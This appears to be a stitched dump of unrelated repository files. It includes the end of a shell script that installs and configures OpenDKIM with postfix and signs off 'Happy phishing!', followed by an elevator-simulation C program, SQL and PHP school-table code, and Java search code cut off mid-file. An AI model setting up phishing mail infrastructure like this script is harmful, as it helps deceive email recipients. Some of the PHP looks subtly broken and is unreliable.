printf "%s\n" " ______ ____________ _________ _ ______" " / __/ |/ /_ __/ _ \ / ___/ __ \/ |/ / __/" " _\ \/ /|_/ / / / / ___/ / /__/ /_/ / / _/" "/___/_/ /_/ /_/ /_/ \___/\____/_/|_/_/" "Written by BTNZ 2020" "$VERSION" ""
# Check to see if user is root/sudo
if [ "$EUID" -ne 0 ]; then
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}" " ${RED}[!]${NORMAL} This script changes system configuration files, and must be run as root or with sudo."
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}"
exit 1
fi
# checking for install flag
if [ "$INSTALL" -eq "1" ]; then
# run install/enable commands
install_opendkim
# PostInstall Note
printf "%s\n" " ${CYAN}[+]${NORMAL} Checking other flags."
# check other flags for processing
if [ "$ENABLE" -eq 1 ]; then enable_opendkim; fi
if [ "$DISABLE" -eq 1 ]; then disable_opendkim; fi
if [ ! -z "$DOMAIN" ]; then domain_opendkim; fi
systemctl restart postfix
systemctl restart opendkim
# PostAllNote
printf "%s\n\n" " ${CYAN}[+]${NORMAL} Tasks complete. Happy phishing!"
exit 0
fi
# Check to see if opendkim is installed
if [ -z "$(command -v opendkim-genkey)" ]; then
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}" " ${RED}[!]${NORMAL} OpenDKIM is required to run this script!" " ${RED}[!]${NORMAL} Rerun this script ( $0 -i ) to install and configure OpenDKIM."
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}"
exit 1
fi
if [ ! -z "$DOMAIN" ]; then domain_opendkim; systemctl restart postfix; systemctl restart opendkim; fi
if [ "$ENABLE" -eq 1 ]; then enable_opendkim; systemctl restart postfix; systemctl restart opendkim; fi
if [ "$DISABLE" -eq 1 ]; then disable_opendkim; systemctl restart postfix; systemctl restart opendkim; fi
|
9ca8743e5da0fc6e8d59c1e7c186b941fdde9d31
|
[
"Markdown",
"Shell"
] | 2 |
Markdown
|
btnz-k/smtp_config
|
0ef8ae76b37f7bf8961e29c857c0a7f5c112b8b9
|
eb831c54370f42ad05c018b1630527c41f2cb6bf
|
refs/heads/master
|
<repo_name>HerlambangHaryo/ide_entry_test<file_sep>/pemahaman_orm_01.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class school extends Model
{
//
protected $table = 'school';
public static function filter()
{
// ------------------------------------------------------------------------- INITIALIZE
$isi = '';
// ------------------------------------------------------------------------- ACTION
$isi = school::where('created_at','>=',date('2020-01-01'))
->andWhere('created_at','<=',date('2020-01-30'))
->get();
// ------------------------------------------------------------------------- SEND
$words = $isi;
return $words;
////////////////////////////////////////////////////////////////////////////
}
}<file_sep>/pemahaman_database_01.sql
CREATE DATABASE test_ide;
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Nov 11, 2020 at 10:08 AM
-- Server version: 10.4.14-MariaDB
-- PHP Version: 7.4.10
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `test`
--
-- --------------------------------------------------------
--
-- Table structure for table `school`
--
CREATE TABLE `school` (
`id` int(11) NOT NULL,
`school_code` varchar(20) NOT NULL,
`school_name` varchar(100) NOT NULL,
`inaugurated_date` date NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Indexes for dumped tables
--
--
-- Indexes for table `school`
--
ALTER TABLE `school`
ADD PRIMARY KEY (`id`),
ADD UNIQUE KEY `school_code` (`school_code`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `school`
--
ALTER TABLE `school`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/pemahaman_database_03_c.sql
SELECT school_name, count(*) as count_inaugurated_date FROM `school` group by inaugurated_date
|
aaf70aa44d4815d0c62541a127eed2b916ba16f9
|
[
"SQL",
"PHP"
] | 3 |
PHP
|
HerlambangHaryo/ide_entry_test
|
399078ef95c0e1120ded8f67d6a1c2093f4771a6
|
7447941740eff8df19be10cac9c0db9640d5d6dd
|
refs/heads/master
|
<repo_name>Lelool/-Elevator-Simulation<file_sep>/elevator.h
#ifndef Elevator_H
#define Elevator_H
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
/**
* @brief 一些BOOL值以及常量值
*/
/*******************************************************************************************/
#define t 1
#define True -1
#define False 0
#define OK 1
#define Error 0
#define Infeasible -1
#define Overflow -2
#define MaxNum 10
typedef int Status;
#define MaxTime 2000
/*******************************************************************************************/
/**
* @brief 每个动作消耗的时间
*/
/*******************************************************************************************/
#define testTIM 40 // 测试间隔
#define doorTIM 20 // 开关门所需时间
#define PeopleInAndOutTIM 25 // 乘客进出
#define upstairsTIM 51 // 电梯上楼
#define waitTIM 300 // 最长等待时间
#define downstairsTIM 61 // 电梯下楼
#define accelerateTIM 15 // 加速时间
#define slowdownTIM 14 // 减速时间
/*******************************************************************************************/
/**
* @brief 一些结构体声明
*/
/*******************************************************************************************/
/* 电梯的运动形式 */
typedef enum ElevatorMove
{
Opening, // 正在开门
Opened, // 已经开门
Closing, // 正在关门
Closed, // 已经关门
Moving, // 正在移动
Waiting, // 等待乘客
Accelerating, // 正在加速
SlowingDown, // 正在减速
} ElevatorMove;
/* 电梯的运动状态 */
typedef enum ElevatorState
{
GoingUp, // 上升
GoingDown, // 下降
Idle, // 空闲
} ElevatorState;
/* 乘客的节点信息 */
typedef struct ClientNode
{
int occurTime; // 新乘客到达时间
int ClientID; // 乘客ID
int Infloor; // 起始楼层
int OutFloor; // 目标楼层
int GiveupTime; // 最长等待时间
} Client;
/* 乘客栈 */
typedef struct ClientStackNode
{
Client base[MaxNum]; // 乘客栈的基地
int top; // 栈顶指针
} ClientStack;
/* 等待队列 */
typedef struct ClientQueueNode
{
Client passenger; // 乘客
struct ClientQueueNode *next; // 下一个乘客
} ClientQueueNode;
typedef struct WaitQueue
{
ClientQueueNode *front;
ClientQueueNode *rear;
int WaitNum;
} WaitQueue;
/* 电梯结构体 */
typedef struct ElevatorNode
{
int ClientNum; // 当前乘客数量
ElevatorState State; // 电梯当前状态
int curfloor; // 当前电梯所处楼层
ElevatorMove movement; // 当前电梯的运动状态
int movementTim; // 当前状态剩余时间
int CallCar[5]; // 目的地
ClientStack Stack[5]; // 乘客栈
int D2; // 值为0,如果电梯已经在某层停候300t
} Elevator;
/*******************************************************************************************/
/**
* @brief 一些全局变量
*/
/*******************************************************************************************/
// 总时间计数器
int Time = 0;
// 记录乘客的ID
int ID;
// 两个乘客的间隔
int InterTime = 0;
// 呼叫电梯向上
int CallUp[5];
// 呼叫电梯向下
int CallDown[5];
// 2*5等待队列
WaitQueue Queue[2][5];
/*******************************************************************************************/
/**
* @brief 一些函数声明
*/
/*******************************************************************************************/
/**
* @brief 堆栈的声明
*/
/*********************************************/
// 判断堆栈是否为空
Status StackEmpty(ClientStack S);
// 出栈
Status Pop(ClientStack *S, Client *temp);
// 入栈
Status Push(ClientStack *S, Client temp);
/*********************************************/
/**
* @brief 队列的声明
*/
/*********************************************/
// 初始化队列
Status InitQueue(WaitQueue *Q);
// 入队
Status Enqueue(WaitQueue *Q, Client temp);
// 出队
Status Dequeue(WaitQueue *Q, Client *temp);
// 更新CallUp和CallDown数组
void Update(void);
// 初始化等待队列
Status InitWaitQueue();
/*********************************************/
/**
* @brief 乘客的声明
*/
/*********************************************/
// 产生新乘客
Status Newclient();
// 删除超过最长等待时间的乘客
Status ClientGiveUp();
// 乘客出电梯栈
Status ClientOut(Elevator *elevator);
// 乘客进电梯栈
Status ClientIn(Elevator *elevator);
// 判断当前楼层有没乘客等待
Status IfPeopleIn(Elevator *elevator);
/*********************************************/
/**
* @brief 电梯的声明
*/
/*********************************************/
// 初始化电梯
Status InitElevator(Elevator *elevator);
// 电梯空闲时的调度器
Status Controller(Elevator *elevator);
// 改变行动
Status ChangeMovement(Elevator *elevator);
// 高层请求
int HigherRequests(Elevator *elevator);
// 低层请求
int LowerRequests(Elevator *elevator);
// 下楼
Status DownStairs(Elevator *elevator);
// 上楼
Status Upstairs(Elevator *elevator);
// 返回本垒层
Status BackToBase(Elevator *elevator);
// 取消D2
Status CancelD2(Elevator *elevator);
// 改变状态
void ChangeState(Elevator *elevator);
/*********************************************/
/*******************************************************************************************/
#endif // !Elevator_H<file_sep>/README.md
# -Elevator-Simulation
严奶奶题集电梯模拟
<file_sep>/elevator.c
#include "elevator.h"
/* Elevator */
/*****************************************************************************************/
Status InitElevator(Elevator *elevator)
{
// 初始化CallCar以及CallUp和CallDown
for (int i = 0; i < 5; i++)
{
elevator->CallCar[i] = 0;
CallDown[i] = 0;
CallUp[i] = 0;
elevator->Stack[i].top = -1;
}
elevator->curfloor = 1;
elevator->D2 = 0;
elevator->movement = Waiting;
elevator->movementTim = waitTIM;
elevator->State = Idle;
elevator->ClientNum = 0;
}
Status Controller(Elevator *elevator)
{
if (elevator->State != Idle)
return OK;
int highrequest = HigherRequests(elevator);
int lowrequest = LowerRequests(elevator);
// 记录将要去的下一层楼
int nextfloor = -1;
// 如果楼上楼下都有请求则选择更近的请求
if (highrequest != -1 && lowrequest != -1)
{
// 如果楼下请求更近,那么nextfloor等于楼下请求
if (highrequest - elevator->curfloor >= elevator->curfloor - lowrequest)
{
nextfloor = lowrequest;
}
// 如果楼上请求更近,那么nextfloor等于楼上请求
else
{
nextfloor = highrequest;
}
}
// 如果楼上没请求,楼下有请求
else if (highrequest == -1)
{
// nextfloor等于楼下请求
nextfloor = lowrequest;
}
// 如果楼下没请求,楼上有请求
else if (lowrequest == -1)
{
// nextfloor等于楼上请求
nextfloor = highrequest;
}
// 如果没有请求直接返回
if (nextfloor == -1)
{
return OK;
}
// 如果是本层有请求,切换状态为正在开门,并且设置TIM
else if (nextfloor == elevator->curfloor)
{
// 设置开门状态
elevator->movement = Opening;
// 设置TIM
elevator->movementTim = doorTIM;
}
// 如果楼下请求
else if (nextfloor < elevator->curfloor)
{
// 设置电梯状态为下降
elevator->State = GoingDown;
// 当前行为为正在加速
elevator->movement = Accelerating;
// 设置TIM
elevator->movementTim = accelerateTIM;
}
// 如果是楼上请求
else
{
// 设置上升状态
elevator->State = GoingUp;
// 加速行为
elevator->movement = Accelerating;
// 加速时间
elevator->movementTim = accelerateTIM;
}
}
/**
* @brief 改变电梯运动状态
*/
Status ChangeMovement(Elevator *elevator)
{
switch (elevator->movement)
{
// 开门结束切换到Opened
case Opening:
elevator->movement = Opened;
printf("Opened the door successfully!\n");
elevator->movementTim = testTIM;
break;
// 乘客进出,完成后切换到Closing
case Opened:
// 如果电梯栈不空则乘客出电梯
if (StackEmpty(elevator->Stack[elevator->curfloor]) == False)
{
// 乘客出栈
ClientOut(elevator);
// 计时
elevator->movementTim = PeopleInAndOutTIM;
}
// 乘客都出栈后进行下一个判断
else
{
// 更新当前楼层CallCar数组
elevator->CallCar[elevator->curfloor] = 0;
// 如果当前行进方向上有人等待并且电梯未满
int retval = IfPeopleIn(elevator);
if (retval == True && elevator->ClientNum < MaxNum)
{
// 乘客入栈
ClientIn(elevator);
// 计时
elevator->movementTim = PeopleInAndOutTIM;
// 取消D2
CancelD2(elevator);
}
// 如果没人等待那么进入下一个状态
else
{
elevator->movement = Closing;
printf("Now the elevator is closing the door.\n");
elevator->movementTim = doorTIM;
}
}
break;
// 关门结束后切换到Closed
case Closing:
// 关门
elevator->movement = Closed;
// 打印消息
printf("Closed the door successfully!\n");
break;
// 关门后切换如果有请求则设置为Accelerating否则切换到Waiting
case Closed:
// 如果有请求,设置电梯状态为正在加速
if (HigherRequests(elevator) != -1 || LowerRequests(elevator) != -1)
{
elevator->movement = Accelerating;
// 计时
elevator->movementTim = accelerateTIM;
// 打印提示消息
printf("Elevator is accelerating.\n");
}
// 上方的请求局限于与电梯方向相同,如果不相同并且电梯内还有乘客,就改变运动状态
else if (elevator->ClientNum)
{
ChangeState(elevator);
}
// 如果没有请求并且没有人那就等待
else
{
elevator->movement = Waiting;
elevator->movementTim = waitTIM;
// 提示消息
printf("Elevator is waiting at %d floor\n", elevator->curfloor);
}
break;
// 判断是否应该继续移动或者减速
case Moving:
// D2为1表示电梯正在返回本垒层
if (elevator->D2)
{
// 如果当前楼层在本垒层下方
if (elevator->curfloor < 1)
{
// 上楼
Upstairs(elevator);
// 继续移动
elevator->movement = Moving;
// 计时
elevator->movementTim = upstairsTIM;
}
// 如果当前楼层在本垒层上方
else if (elevator->curfloor > 1)
{
// 下楼
DownStairs(elevator);
// 继续移动
elevator->movement = Moving;
// 计时
elevator->movementTim = downstairsTIM;
}
// 如果到达了本垒层
else
{
// 紧急刹车
elevator->movement = SlowingDown;
// 计时
elevator->movementTim = slowdownTIM;
}
}
else
{
// 记录nextfloor的值
int nextfloor;
// 如果电梯正在上楼就获取楼上的请求
if (elevator->State == GoingUp)
{
nextfloor = HigherRequests(elevator);
}
// 如果电梯正在下楼就获取楼下的请求
else
{
nextfloor = LowerRequests(elevator);
}
// 如果当前楼层,则电梯紧急刹车
if (nextfloor == elevator->curfloor)
{
elevator->movement = SlowingDown;
elevator->movementTim = slowdownTIM;
}
// 如果应该继续往下那么更新当前状态的时间并下楼
else if (nextfloor < elevator->curfloor)
{
DownStairs(elevator);
elevator->movement = Moving;
elevator->movementTim = downstairsTIM;
}
// 如果应该继续往上那么更新当前状态的时间并上楼
else
{
Upstairs(elevator);
elevator->movement = Moving;
elevator->movementTim = upstairsTIM;
}
}
break;
// 等待完成后转到本垒层
case Waiting:
// 等待超过300s后如果不在本垒层就准备返回本垒层
// 表明等待时间已经超过300s
// 如果不在本垒层则返回本垒层,如果在本垒层则保持现状
BackToBase(elevator);
break;
// 加速完成后切换到Moving
case Accelerating:
// 加速完成之后电梯正常移动
elevator->movement = Moving;
// 如果电梯正在下楼
if (elevator->State == GoingDown)
{
// 计时为下楼计时
elevator->movementTim = downstairsTIM;
}
// 如果电梯正在上楼
else if (elevator->State == GoingUp)
{
// 计时为上楼计时
elevator->movementTim = upstairsTIM;
}
break;
// 减速完成后切换到Opening
case SlowingDown:
// 如果是正常减速,下一步就是开门
if (!elevator->D2)
{
// 减速完成之后开门
elevator->movement = Opening;
// 计时
elevator->movementTim = doorTIM;
}
// 如果回到本垒层的减速,则切换为等待
else
{
elevator->movement = Waiting;
elevator->movementTim = waitTIM;
}
break;
}
}
/**
* @brief 返回楼上请求
* @retval 如果有请求则返回最接近当前楼层的请求,否则返回-1
*/
int HigherRequests(Elevator *elevator)
{
// 电梯状态得为GoingUp或者Wating才能考虑上楼
if (elevator->State == GoingUp || elevator->movement == Waiting)
{
// 找到最接近的请求
for (int i = elevator->curfloor; i < 5; i++)
{
if (elevator->CallCar[i] || CallUp[i] || CallDown[i])
{
// 返回最接近的请求楼层
return i;
}
}
}
return -1;
}
/**
* @brief 返回楼下请求
* @retval 如果有请求则返回最近楼层请求,否则返回-1
*/
int LowerRequests(Elevator *elevator)
{
// 电梯状态得为GoingDown或者Waiting才行
if (elevator->State == GoingDown || elevator->movement == Waiting)
{
// 寻找最近请求
for (int i = elevator->curfloor; i >= 0; i--)
{
if (elevator->CallCar[i] || CallUp[i] || CallDown[i])
{
// 返回最近请楼层
return i;
}
}
}
// 没找到则返回-1
return -1;
}
/**
* @brief 改变电梯的状态
*/
void ChangeState(Elevator *elevator)
{
if (elevator->ClientNum >= MaxNum)
return;
int temp = 0;
// 看楼上是否有请求
for (int i = elevator->curfloor + 1; i < 5; i++)
{
if (elevator->CallCar[i] || CallUp[i])
{
temp = 1;
}
}
// 如果楼上没有请求并且当前电梯内有乘客,那么电梯State需要改变
if (elevator->ClientNum && !temp)
{
elevator->State = GoingDown;
}
temp = 0;
// 看楼下是否有请求
for (int i = elevator->curfloor - 1; i >= 0; i--)
{
if (elevator->CallCar[i] || CallDown[i])
{
temp = 1;
}
}
// 如果楼下没有请求并且当前电梯内有乘客,那么电梯State需要改变
if (elevator->ClientNum && !temp)
{
elevator->State = GoingUp;
}
}
/**
*
*/
Status Upstairs(Elevator *elevator)
{
elevator->curfloor++;
}
/**
*
*/
Status DownStairs(Elevator *elevator)
{
elevator->curfloor--;
}
/**
* @brief 返回到本垒层
*/
Status BackToBase(Elevator *elevator)
{
// 表示等待时间已经超过300s
elevator->D2 = 1;
// 如果当前在本垒层则继续保持
if (elevator->curfloor == 1)
{
elevator->movement = Waiting;
printf("Elevator is waiting at 1 floor\n");
elevator->State = Idle;
elevator->movementTim = waitTIM;
}
// 如果在本垒层下方则准备回到一楼
else if (elevator->curfloor < 1)
{
// 设置电梯加速启动
elevator->movement = Accelerating;
// 计时
elevator->movementTim = accelerateTIM;
// 上楼
elevator->State = GoingUp;
}
// 如果在本垒层上方则准备回到一楼
else
{
// 设置电梯加速启动
elevator->movement = Accelerating;
// 计时
elevator->movementTim = accelerateTIM;
// 下楼
elevator->State = GoingDown;
}
return OK;
}
/**
* @brief 取消D2标记
*/
Status CancelD2(Elevator *elevator)
{
elevator->D2 = 0;
return OK;
}
/*****************************************************************************************/
/* Queue */
/******************************************************************************************/
/**
*
*/
Status InitQueue(WaitQueue *Q)
{
// 分配内存空间
Q->front = Q->rear = (ClientQueueNode *)malloc(sizeof(ClientQueueNode));
Q->front->next = NULL;
// 初始化等待数量为0
Q->WaitNum = 0;
return OK;
}
Status Enqueue(WaitQueue *Q, Client temp)
{
// 分配新的内存空间
ClientQueueNode *ptr = (ClientQueueNode *)malloc(sizeof(ClientQueueNode));
ptr->passenger = temp;
ptr->next = NULL;
Q->rear->next = ptr;
Q->rear = ptr;
Q->WaitNum++;
return OK;
}
/**
*
*/
Status Dequeue(WaitQueue *Q, Client *temp)
{
// 如果队列为空直接返回
if (Q->front == Q->rear)
{
return Error;
}
// 删除元素
ClientQueueNode *ptr = Q->front->next;
Q->front->next = ptr->next;
*temp = ptr->passenger;
free(ptr);
Q->WaitNum--;
return OK;
}
Status InitWaitQueue()
{
for (int i = 0; i < 2; i++)
{
for (int j = 0; j < 5; j++)
{
InitQueue(&Queue[i][j]);
}
}
}
/**
* @brief 更新CallUp和CallDown数组
*/
void Update(void)
{
// 遍历等待队列
for (int i = 0; i < 2; i++)
{
for (int j = 0; j < 5; j++)
{
// i等于0代表上楼等待队列
if (i == 0)
{
// 如果没人等待CallUp就设置为0
if (Queue[i][j].WaitNum == 0)
{
CallUp[j] = 0;
}
}
// i等于1代表下楼等待队列
else
{
// 如果没人等待CallDown就设置为0
if (Queue[i][j].WaitNum == 0)
{
CallDown[j] = 0;
}
}
}
}
return;
}
/*****************************************************************************************/
/* Stack */
/******************************************************************************************/
/**
* @brief 乘客出电梯栈
*/
Status Pop(ClientStack *S, Client *temp)
{
*temp = S->base[S->top--];
return OK;
}
/**
* @brief 乘客进电梯栈
*/
Status Push(ClientStack *S, Client temp)
{
if (S->top < MaxNum)
{
S->base[++S->top] = temp;
}
return OK;
}
/**
* @brief 判断电梯栈是否为空
*/
Status StackEmpty(ClientStack S)
{
// 如果栈顶为-1返回True
if (S.top == -1)
{
return True;
}
// 否则返回False
return False;
}
/*****************************************************************************************/
/* Client */
/******************************************************************************************/
/**
* @brief 产生新乘客并入队
*/
Status Newclient()
{
Client NewClient;
NewClient.occurTime = Time; // 新乘客到达时间
NewClient.ClientID = ++ID; // 新乘客的ID
NewClient.Infloor = rand() % 5; // 新乘客起始楼层
NewClient.OutFloor = rand() % 5; // 新乘客目标楼层
NewClient.GiveupTime = 100 + rand() % 300; // 最长等待时间
InterTime = rand() % 80; // 下一个乘客到达时间间隔
while (NewClient.Infloor == NewClient.OutFloor) // 如果新乘客出发地和目标地相同,重新分配
{
NewClient.OutFloor = rand() % 5;
}
// 如果是上楼则进入对应的上楼等待队列
if (NewClient.Infloor < NewClient.OutFloor)
{
Enqueue(&Queue[0][NewClient.Infloor], NewClient);
printf("No.%d Client gets into the %d floor's %d waitqueue(0-->UP,1-->DOWN)\n", NewClient.ClientID, NewClient.Infloor, NewClient.Infloor > NewClient.OutFloor);
// 上楼呼叫
CallUp[NewClient.Infloor] = 1;
}
// 如果是下楼则进入对应的下楼等待队列
else
{
Enqueue(&Queue[1][NewClient.Infloor], NewClient);
printf("No.%d Client gets into the %d floor's %d waitqueue(0-->UP,1-->DOWN)\n", NewClient.ClientID, NewClient.Infloor, NewClient.Infloor > NewClient.OutFloor);
// 下楼呼叫
CallDown[NewClient.Infloor] = 1;
}
}
/**
* @brief 删除耐心到达极限的乘客朋友
*/
Status ClientGiveUp()
{
for (int i = 0; i < 2; i++)
{
for (int j = 0; j < 5; j++)
{
WaitQueue temp = Queue[i][j];
ClientQueueNode *ptr = temp.front->next;
ClientQueueNode *pre = temp.front;
while (ptr != NULL)
{
// 如果超过等待限度
if (ptr->passenger.occurTime + ptr->passenger.GiveupTime <= Time)
{
// 乘客出列
pre->next = ptr->next;
// 打印提示消息
printf("No.%d Client leave the %d floor %d waitqueue\n", ptr->passenger.ClientID, ptr->passenger.Infloor, i);
// 释放节点内存
free(ptr);
ptr = pre->next;
// 排队人数减少
Queue[i][j].WaitNum--;
}
else
{
pre = ptr;
ptr = ptr->next;
}
}
}
}
// 更新CallUp和CallDown数组
Update();
}
/**
* @brief 乘客出电梯栈
*/
Status ClientOut(Elevator *elevator)
{
// 当前楼层的乘客栈不空,则清空乘客栈
if (elevator->Stack[elevator->curfloor].top != -1)
{
Client temp;
// 乘客出栈
Pop(&elevator->Stack[elevator->curfloor], &temp);
// 打印提示消息
printf("No.%d Client leave the elevator at %d floor\n", temp.ClientID, temp.OutFloor);
// 乘客数量减少
elevator->ClientNum--;
// 时间增加
Time += PeopleInAndOutTIM * t;
}
// 更新CallUp和CallDown数组
Update();
}
/**
* @brief 判断电梯行进方向上是否有乘客等待
*/
Status IfPeopleIn(Elevator *elevator)
{
// 如果电梯向上
if (elevator->State == GoingUp)
{
// 有人等待返回True
if (CallUp[elevator->curfloor])
{
return True;
}
// 如果电梯已经等待300s则有人等待就返回True
if (!elevator->ClientNum && CallDown[elevator->curfloor])
{
return True;
}
}
// 如果电梯向下
else if (elevator->State == GoingDown)
{
// 如果有人等待返回True
if (CallDown[elevator->curfloor])
{
return True;
}
// 如果上一个状态为Idle则有人等待就返回True
if (!elevator->ClientNum && CallUp[elevator->curfloor])
{
return True;
}
}
else
{
if (CallDown[elevator->curfloor] || CallUp[elevator->curfloor])
{
return True;
}
}
// 没人等待返回False
return False;
}
/**
* @brief 乘客进入电梯栈并且设置CallCar
*/
Status ClientIn(Elevator *elevator)
{
// 如果电梯没人,不管向上向下都接收
if (!elevator->ClientNum)
{
// 为了简便,这里优先考虑上楼队列
if (CallUp[elevator->curfloor])
{
// 从等待队列中取出乘客
Client temp;
Dequeue(&Queue[0][elevator->curfloor], &temp);
// 乘客入栈
Push(&elevator->Stack[temp.OutFloor], temp);
// 设置目的地
elevator->CallCar[temp.OutFloor] = 1;
// 入栈提示
printf("No.%d Client get into the elevator at %d floor.\n", temp.ClientID, elevator->curfloor);
}
else if (CallDown[elevator->curfloor])
{
// 从等待队列中取出乘客
Client temp;
Dequeue(&Queue[1][elevator->curfloor], &temp);
// 乘客入栈
Push(&elevator->Stack[temp.OutFloor], temp);
// 设置目的地
elevator->CallCar[temp.OutFloor] = 1;
// 入栈提示
printf("No.%d Client get into the elevator at %d floor.\n", temp.ClientID, elevator->curfloor);
}
}
else if (elevator->State == GoingUp)
{
// 如果上一状态不是空闲的,那么只能接与行进状态相同的乘客
// 从等待队列中取出乘客
Client temp;
Dequeue(&Queue[0][elevator->curfloor], &temp);
// 乘客入栈
Push(&elevator->Stack[temp.OutFloor], temp);
// 设置目的地
elevator->CallCar[temp.OutFloor] = 1;
// 入栈提示
printf("No.%d Client get into the elevator at %d floor.\n", temp.ClientID, elevator->curfloor);
}
else if (elevator->State == GoingDown)
{
// 从等待队列中取出乘客
Client temp;
Dequeue(&Queue[1][elevator->curfloor], &temp);
// 乘客入栈
Push(&elevator->Stack[temp.OutFloor], temp);
// 设置目的地
elevator->CallCar[temp.OutFloor] = 1;
// 入栈提示
printf("No.%d Client get into the elevator at %d floor.\n", temp.ClientID, elevator->curfloor);
}
// 电梯乘客增加
elevator->ClientNum++;
return OK;
}
/*****************************************************************************************/
int main(int argc, char const *argv[])
{
srand(time(NULL));
Elevator elevator;
InitElevator(&elevator);
InitWaitQueue();
while (Time++ < MaxTime)
{
// 检查是否有乘客放弃排队
ClientGiveUp();
// 如果InterTime为0则加入新乘客
if (!InterTime)
{
Newclient();
}
// 否则InterTime自减
else
{
InterTime--;
}
// 电梯模拟调度
Controller(&elevator);
// 正在关门或者等待时本层出现乘客则进入电梯
if (elevator.movement == Closing)
{
// 如果当前电梯不为空,如果有相同行进方向的乘客则入栈
if (elevator.ClientNum && elevator.ClientNum < MaxNum)
{
// 如果当前电梯向上,有向上的乘客则切换到开门
if (elevator.State == GoingUp)
{
if (CallUp[elevator.curfloor])
{
elevator.movement = Opening;
elevator.movementTim = doorTIM;
}
}
// 如果当前电梯向下,有向下的乘客则切换到开门
else if (elevator.State == GoingDown)
{
if (CallDown[elevator.curfloor])
{
elevator.movement = Opening;
elevator.movementTim = doorTIM;
}
}
}
// 如果当前电梯为空
else if (!elevator.ClientNum)
{
// 只要有请求则都切换到开门状态
if (CallUp[elevator.curfloor] || CallDown[elevator.curfloor])
{
elevator.movement = Opening;
elevator.movementTim = doorTIM;
}
}
}
else if (elevator.movement == Waiting)
{
int j = HigherRequests(&elevator);
int i = LowerRequests(&elevator);
// 如果请求在本层则切换到开门
if (j == elevator.curfloor)
{
elevator.movement = Opening;
elevator.movementTim = doorTIM;
}
// 如果请求在高层则切换到加速并把State设置为GoingUp
else if (j != -1)
{
elevator.movement = Accelerating;
elevator.movementTim = accelerateTIM;
elevator.State = GoingUp;
}
// 如果请求在低层则切换到加速并把State设置为GoingDown
else if (i != -1)
{
elevator.movement = Accelerating;
elevator.movementTim = accelerateTIM;
elevator.State = GoingDown;
}
}
// 电梯当前行为剩余的时间如果为0
if (!elevator.movementTim)
{
ChangeMovement(&elevator);
}
// 如果不为0,则计时减小
else
{
elevator.movementTim--;
}
}
return 0;
}
|
ea84d34188eac66cf0d1a1efa25fc85ca2c5eade
|
[
"Markdown",
"C"
] | 3 |
C
|
Lelool/-Elevator-Simulation
|
f6a0bbea38904f91b2c56729304bd27f2de03d9d
|
ed08f510b4ff22a3779d7e77b782b940257b0c34
|
refs/heads/master
|
<file_sep># GenericaClase-Busqueda
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ejemplosgenerica;
/**
*
* @author MoisesDario
*/
public class Principal {
public static void main(String[] args){
//Lienal
System.out.println("LINEAL");
ListaSimple<Fruta> listaFruta = new ListaSimple<>();
Fruta f1= new Fruta("Chincuya" , "verde");
Fruta f2= new Fruta("Papausa" , "blanco");
Fruta f3= new Fruta("Anona" , "blanco");
Fruta f4= new Fruta("Caspirol" , "blanco");
Fruta f5= new Fruta("Chilacayoye" , "verde");
Fruta f6= new Fruta("Chicozapote" , "cafe");
Fruta f7= new Fruta("Zapote colorado" , "rojo");
Fruta f9= new Fruta("Rambutan" , "rojo");
Fruta f8= new Fruta("jobo" , "verde");
listaFruta.add(f1);
listaFruta.add(f2);
listaFruta.add(f3);
listaFruta.add(f4);
listaFruta.add(f5);
listaFruta.add(f6);
listaFruta.add(f7);
listaFruta.add(f9);
listaFruta.add(f8);
System.out.println("Elementos: " + listaFruta.size());
System.out.println("Lista Fruta: " + listaFruta);
Search<Fruta> buscaFruta = new Search<>(); //Objeto de tipo fruta
Fruta buscar = new Fruta("jobo","uuyuyu"); //Metodo de buscar
System.out.println("Encontrado posicion: " + buscaFruta.Lineal(listaFruta,buscar,true));
//Binaria
System.out.println("BINARIA");
ListaSimple<Fruta> listaFrutaBinario = new ListaSimple<>();
Fruta arrayObjetos[] = new Fruta[9]; //Creamos un array de Objetos de la clase de Fruta
arrayObjetos[0]= new Fruta("Papausa" , "blanco");
arrayObjetos[1]= new Fruta("Anona" , "blanco");
arrayObjetos[2]= new Fruta("Caspirol" , "blanco");
arrayObjetos[3]= new Fruta("Chilacayoye" , "verde");
arrayObjetos[4]= new Fruta("Chicozapote" , "cafe");
arrayObjetos[5]= new Fruta("Zapote colorado" , "rojo");
arrayObjetos[6]= new Fruta("Rambutan" , "rojo");
arrayObjetos[7]= new Fruta("jobo" , "verde");
arrayObjetos[8]= new Fruta("Chincuya" , "verde");
listaFrutaBinario.add(arrayObjetos[0]);
listaFrutaBinario.add(arrayObjetos[1]);
listaFrutaBinario.add(arrayObjetos[2]);
listaFrutaBinario.add(arrayObjetos[3]);
listaFrutaBinario.add(arrayObjetos[4]);
listaFrutaBinario.add(arrayObjetos[5]);
listaFrutaBinario.add(arrayObjetos[6]);
listaFrutaBinario.add(arrayObjetos[7]);
listaFrutaBinario.add(arrayObjetos[8]);
System.out.println("Elementos: " + listaFruta.size());
System.out.println("Lista Fruta: " + listaFrutaBinario);
